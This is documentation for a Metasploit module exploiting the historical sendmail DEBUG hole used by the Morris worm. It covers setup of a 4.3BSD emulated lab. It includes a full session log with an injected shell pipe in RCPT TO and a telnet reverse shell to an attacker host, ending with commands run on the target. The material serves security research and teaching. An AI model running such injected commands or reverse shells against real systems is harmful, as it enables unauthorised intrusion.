Files
metasploit-gs/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md
T

112 lines
3.7 KiB
Markdown
Raw Normal View History

2020-02-06 15:01:58 -06:00
## Vulnerable Application
### Description
2018-10-20 14:10:17 -05:00
This module exploits `sendmail`'s well-known historical debug mode to
escape to a shell and execute commands in the SMTP `RCPT TO` command.
This vulnerability was exploited by the Morris worm in 1988-11-02.
Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*.
2020-02-06 15:01:58 -06:00
### Setup
2018-10-20 14:10:17 -05:00
A Docker environment for 4.3BSD on VAX is available at
<https://github.com/wvu/ye-olde-bsd>.
For manual setup, please follow the Computer History Wiki's
[guide](http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH) or Allen
Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if
you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus).
2020-02-06 15:01:58 -06:00
### Targets
2018-10-20 14:10:17 -05:00
```
Id Name
-- ----
0 @(#)version.c 5.51 (Berkeley) 5/2/86
```
2020-02-06 15:01:58 -06:00
## Verification Steps
Follow [Setup](#setup) and [Scenarios](#scenarios).
2018-10-20 14:10:17 -05:00
## Options
**RPORT**
Set this to the target port. The default is 25 for `sendmail`, but the
port may be forwarded when NAT (SLiRP) is used in SIMH.
**PAYLOAD**
2020-02-05 17:21:47 -06:00
Set this to a Unix command payload. Currently, only `cmd/unix/reverse`
2018-10-20 14:10:17 -05:00
and `cmd/unix/generic` are supported.
2020-02-06 15:01:58 -06:00
## Scenarios
### `sendmail` 5.51 on 4.3BSD
2018-10-20 14:10:17 -05:00
```
2020-02-06 15:01:58 -06:00
msf5 > use exploit/unix/smtp/morris_sendmail_debug
msf5 exploit(unix/smtp/morris_sendmail_debug) > show missing
2018-10-20 14:10:17 -05:00
Module options (exploit/unix/smtp/morris_sendmail_debug):
Name Current Setting Required Description
---- --------------- -------- -----------
2020-02-06 15:01:58 -06:00
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
2018-10-20 14:10:17 -05:00
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
2020-02-06 15:01:58 -06:00
LHOST yes The listen address (an interface may be specified)
2018-10-20 14:10:17 -05:00
2020-02-06 15:01:58 -06:00
msf5 exploit(unix/smtp/morris_sendmail_debug) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(unix/smtp/morris_sendmail_debug) > set lhost 192.168.56.1
lhost => 192.168.56.1
2018-10-20 14:10:17 -05:00
msf5 exploit(unix/smtp/morris_sendmail_debug) > run
2020-02-06 15:01:58 -06:00
[*] Started reverse TCP double handler on 192.168.56.1:4444
2018-10-20 14:10:17 -05:00
[*] 127.0.0.1:25 - Connecting to sendmail
[*] 127.0.0.1:25 - Enabling debug mode and sending exploit
2020-02-06 15:01:58 -06:00
[*] 127.0.0.1:25 - Expecting: /220.*Sendmail/
2018-10-20 14:10:17 -05:00
[*] 127.0.0.1:25 - Sending: DEBUG
2020-02-06 15:01:58 -06:00
[*] 127.0.0.1:25 - Expecting: /200 Debug set/
[*] 127.0.0.1:25 - Sending: MAIL FROM:<3V900gQTSR70m6QPRYJnf3eoUIe6>
[*] 127.0.0.1:25 - Expecting: /250.*Sender ok/
2018-10-20 14:10:17 -05:00
[*] 127.0.0.1:25 - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0">
2020-02-06 15:01:58 -06:00
[*] 127.0.0.1:25 - Expecting: /250.*Recipient ok/
2018-10-20 14:10:17 -05:00
[*] 127.0.0.1:25 - Sending: DATA
2020-02-06 15:01:58 -06:00
[*] 127.0.0.1:25 - Expecting: /354 Enter mail.*itself/
2018-10-20 14:10:17 -05:00
[*] 127.0.0.1:25 - Sending: PATH=/bin:/usr/bin:/usr/ucb:/etc
[*] 127.0.0.1:25 - Sending: export PATH
2020-02-06 15:01:58 -06:00
[*] 127.0.0.1:25 - Sending: sh -c '(sleep 3935|telnet 192.168.56.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.56.1 4444 >/dev/null 2>&1 &)'
2018-10-20 14:10:17 -05:00
[*] 127.0.0.1:25 - Sending: .
2020-02-06 15:01:58 -06:00
[*] 127.0.0.1:25 - Expecting: /250 Ok/
2018-10-20 14:10:17 -05:00
[*] 127.0.0.1:25 - Sending: QUIT
2020-02-06 15:01:58 -06:00
[*] 127.0.0.1:25 - Expecting: /221.*closing connection/
2018-10-20 14:10:17 -05:00
[*] Accepted the first client connection...
[*] Accepted the second client connection...
2020-02-06 15:01:58 -06:00
[*] Command: echo ISj759F8jEik4HAW;
2018-10-20 14:10:17 -05:00
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
2020-02-06 15:01:58 -06:00
[*] Reading from socket A
[*] A: "sh: Connected: not found\r\nsh: Escape: not found\r\n"
2018-10-20 14:10:17 -05:00
[*] Matching...
2020-02-06 15:01:58 -06:00
[*] B is input...
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58037) at 2020-02-06 15:51:28 -0600
2018-10-20 14:10:17 -05:00
[!] 127.0.0.1:25 - Do NOT type `exit', or else you may lose further shells!
[!] 127.0.0.1:25 - Hit ^C to abort the session instead, please and thank you
whoami
daemon
cat /etc/motd
4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986
Would you like to play a game?
```